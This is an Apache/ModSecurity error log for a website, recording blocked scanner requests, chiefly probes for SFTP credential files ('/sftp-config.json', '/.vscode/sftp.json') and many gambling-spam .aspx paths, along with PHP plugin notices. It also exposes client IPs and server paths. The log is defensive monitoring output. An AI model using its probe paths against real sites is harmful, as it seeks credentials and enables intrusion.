[Mon Mar 16 08:30:25.225000 2026] [:error] [pid 62529:tid 62550] [client 103.65.237.124:56713] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "abdPIT84-luOVYZKK0OlIgAAAM0"]
[Mon Mar 16 08:30:25.971681 2026] [:error] [pid 52152:tid 52168] [client 103.65.237.124:56973] [client 103.65.237.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp.json"] [unique_id "abdPIcA6rS_GLRd0NKWQ8QAAAQ0"]
[Mon Mar 16 09:22:58.151256 2026] [:error] [pid 1411:tid 1435] [client 195.201.199.99:60180] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abdbctrCV4sh-le3M-3AIgAAAVU"]
[Mon Mar 16 09:23:04.204905 2026] [:error] [pid 1411:tid 1423] [client 195.201.199.99:41452] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abdbeNrCV4sh-le3M-3AKgAAAUo"]
[Mon Mar 16 09:23:08.314623 2026] [:error] [pid 12822:tid 12851] [client 195.201.199.99:44760] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abdbfIG9Ft4WPo7r7sRzoQAAAdA"]
[Mon Mar 16 09:23:13.268107 2026] [:error] [pid 62529:tid 62553] [client 195.201.199.99:48400] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abdbgT84-luOVYZKK0O2YQAAANA"]
[Mon Mar 16 09:23:18.518857 2026] [:error] [pid 62428:tid 62482] [client 195.201.199.99:52338] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abdbhqrHSRXFZx1-aIH1kwAAAE0"]
[Mon Mar 16 09:23:21.467045 2026] [:error] [pid 52152:tid 52167] [client 195.201.199.99:54282] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abdbicA6rS_GLRd0NKWW2AAAAQw"]
[Mon Mar 16 09:23:24.314710 2026] [:error] [pid 12768:tid 12795] [client 195.201.199.99:56668] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abdbjIvjhfol0SJym0_UkwAAAZY"]
[Mon Mar 16 09:23:27.615139 2026] [:error] [pid 62429:tid 62516] [client 195.201.199.99:59008] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abdbj1ewIPukhLCowEESXgAAAJQ"]
[Mon Mar 16 09:23:30.407434 2026] [:error] [pid 12822:tid 12843] [client 195.201.199.99:32956] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abdbkoG9Ft4WPo7r7sRzrwAAAcg"]
[Mon Mar 16 09:23:34.521271 2026] [:error] [pid 12768:tid 12787] [client 195.201.199.99:35888] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abdblovjhfol0SJym0_UlgAAAY4"]
[Mon Mar 16 09:23:42.330168 2026] [:error] [pid 62429:tid 62510] [client 195.201.199.99:41202] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abdbnlewIPukhLCowEESxQAAAI4"]
[Mon Mar 16 09:23:48.341843 2026] [:error] [pid 62428:tid 62477] [client 195.201.199.99:45490] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abdbpKrHSRXFZx1-aIH1nwAAAEg"]
[Mon Mar 16 09:25:19.014144 2026] [:error] [pid 62429:tid 62500] [client 195.201.199.99:40020] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abdb_1ewIPukhLCowEETQAAAAIQ"]
[Mon Mar 16 09:25:23.657811 2026] [:error] [pid 1411:tid 1436] [client 195.201.199.99:56450] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abdcA9rCV4sh-le3M-3BHQAAAVY"]
[Mon Mar 16 09:25:28.284433 2026] [:error] [pid 12823:tid 12883] [client 195.201.199.99:59274] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abdcCBlVKeelxvdJEr5QEwAAAhU"]
[Mon Mar 16 09:25:31.955105 2026] [:error] [pid 1411:tid 1421] [client 195.201.199.99:33622] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abdcC9rCV4sh-le3M-3BNQAAAUg"]
[Mon Mar 16 09:25:36.268827 2026] [:error] [pid 12822:tid 12859] [client 195.201.199.99:36740] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abdcEIG9Ft4WPo7r7sR0AgAAAdg"]
[Mon Mar 16 09:25:40.257829 2026] [:error] [pid 12822:tid 12851] [client 195.201.199.99:39504] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abdcFIG9Ft4WPo7r7sR0BgAAAdA"]
[Mon Mar 16 09:25:43.662692 2026] [:error] [pid 52152:tid 52172] [client 195.201.199.99:41914] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abdcF8A6rS_GLRd0NKWXFgAAARE"]
[Mon Mar 16 09:25:46.642393 2026] [:error] [pid 62429:tid 62501] [client 195.201.199.99:43946] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abdcGlewIPukhLCowEETUQAAAIU"]
[Mon Mar 16 09:25:49.622558 2026] [:error] [pid 12823:tid 12877] [client 195.201.199.99:46082] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abdcHRlVKeelxvdJEr5QIgAAAg8"]
[Mon Mar 16 09:25:53.443701 2026] [:error] [pid 62429:tid 62509] [client 195.201.199.99:48664] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abdcIVewIPukhLCowEETXgAAAI0"]
[Mon Mar 16 09:25:56.388551 2026] [:error] [pid 12822:tid 12835] [client 195.201.199.99:50588] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abdcJIG9Ft4WPo7r7sR0DQAAAcA"]
[Mon Mar 16 09:26:00.319050 2026] [:error] [pid 12823:tid 12883] [client 195.201.199.99:53614] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abdcKBlVKeelxvdJEr5QMAAAAhU"]
[Mon Mar 16 09:26:04.214394 2026] [:error] [pid 62429:tid 62520] [client 195.201.199.99:56470] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abdcLFewIPukhLCowEETawAAAJg"]
[Mon Mar 16 09:26:07.953535 2026] [:error] [pid 1411:tid 1432] [client 195.201.199.99:58892] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abdcL9rCV4sh-le3M-3BSQAAAVI"]
[Mon Mar 16 09:26:11.618871 2026] [:error] [pid 12822:tid 12836] [client 195.201.199.99:33346] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abdcM4G9Ft4WPo7r7sR0GgAAAcE"]
[Mon Mar 16 09:27:20.481823 2026] [:error] [pid 62429:tid 62508] [client 195.201.199.99:46306] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abdceFewIPukhLCowEEUFwAAAIw"]
[Mon Mar 16 09:27:25.233663 2026] [:error] [pid 62529:tid 62539] [client 195.201.199.99:55516] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abdcfT84-luOVYZKK0O3vwAAAMI"]
[Mon Mar 16 09:27:28.776443 2026] [:error] [pid 1411:tid 1415] [client 195.201.199.99:58080] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abdcgNrCV4sh-le3M-3B5AAAAUI"]
[Mon Mar 16 09:27:32.680879 2026] [:error] [pid 1411:tid 1432] [client 195.201.199.99:32892] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abdchNrCV4sh-le3M-3CEwAAAVI"]
[Mon Mar 16 09:27:36.139413 2026] [:error] [pid 62427:tid 62448] [client 195.201.199.99:35068] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abdciMUPP8fzo6XzJCUtrAAAAAc"]
[Mon Mar 16 09:27:40.104305 2026] [:error] [pid 1411:tid 1429] [client 195.201.199.99:37682] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abdcjNrCV4sh-le3M-3CZgAAAU8"]
[Mon Mar 16 09:27:44.150687 2026] [:error] [pid 62529:tid 62559] [client 195.201.199.99:40368] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abdckD84-luOVYZKK0O3zwAAANY"]
[Mon Mar 16 09:27:46.950785 2026] [:error] [pid 1411:tid 1423] [client 195.201.199.99:42492] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abdcktrCV4sh-le3M-3CcwAAAUo"]
[Mon Mar 16 09:27:50.812480 2026] [:error] [pid 1411:tid 1418] [client 195.201.199.99:45142] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abdcltrCV4sh-le3M-3ChAAAAUU"]
[Mon Mar 16 09:27:54.994675 2026] [:error] [pid 1411:tid 1413] [client 195.201.199.99:48144] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abdcmtrCV4sh-le3M-3CjwAAAUA"]
[Mon Mar 16 09:27:59.082371 2026] [:error] [pid 1411:tid 1437] [client 195.201.199.99:50882] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abdcn9rCV4sh-le3M-3CoAAAAVc"]
[Mon Mar 16 09:28:02.902585 2026] [:error] [pid 62429:tid 62501] [client 195.201.199.99:53792] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abdcolewIPukhLCowEEUjAAAAIU"]
[Mon Mar 16 09:28:06.902395 2026] [:error] [pid 12822:tid 12849] [client 195.201.199.99:56206] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "abdcpoG9Ft4WPo7r7sR0iwAAAc4"]
[Mon Mar 16 09:29:26.312660 2026] [:error] [pid 52152:tid 52162] [client 195.201.199.99:49414] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abdc9sA6rS_GLRd0NKWXiAAAAQc"]
[Mon Mar 16 09:29:29.842878 2026] [:error] [pid 62529:tid 62561] [client 195.201.199.99:56668] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abdc-T84-luOVYZKK0O4UwAAANg"]
[Mon Mar 16 09:29:35.251198 2026] [:error] [pid 1411:tid 1414] [client 195.201.199.99:60180] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abdc_9rCV4sh-le3M-3DbQAAAUE"]
[Mon Mar 16 09:46:33.158842 2026] [:error] [pid 1411:tid 1428] [client 170.106.107.87:38200] [client 170.106.107.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abdg-drCV4sh-le3M-3L8wAAAU4"]
[Mon Mar 16 11:05:35.056763 2026] [:error] [pid 62025:tid 62078] [client 173.239.236.153:47873] [client 173.239.236.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "abdzf-imBfLmKh7zLXMC5AAAAFM"]
[Mon Mar 16 11:05:36.448793 2026] [:error] [pid 62510:tid 62517] [client 173.239.236.163:58903] [client 173.239.236.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feed/"] [unique_id "abdzgCE33_T9aKpoDdjqiwAAAQQ"]
[Mon Mar 16 11:24:14.973450 2026] [:error] [pid 62024:tid 62036] [client 49.234.192.248:34572] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abd33ok-5rtjYvjqC_o-_gAAAAc"]
[Mon Mar 16 12:28:12.881089 2026] [:error] [pid 62024:tid 62041] [client 49.51.166.228:59832] [client 49.51.166.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abeG3Ik-5rtjYvjqC_pYYwAAAAw"]
[Mon Mar 16 12:36:23.723122 2026] [proxy_fcgi:error] [pid 62024:tid 62034] [client 103.4.122.14:33462] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Mar 16 12:36:41.741059 2026] [proxy_fcgi:error] [pid 62025:tid 62079] [client 103.4.122.14:33516] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
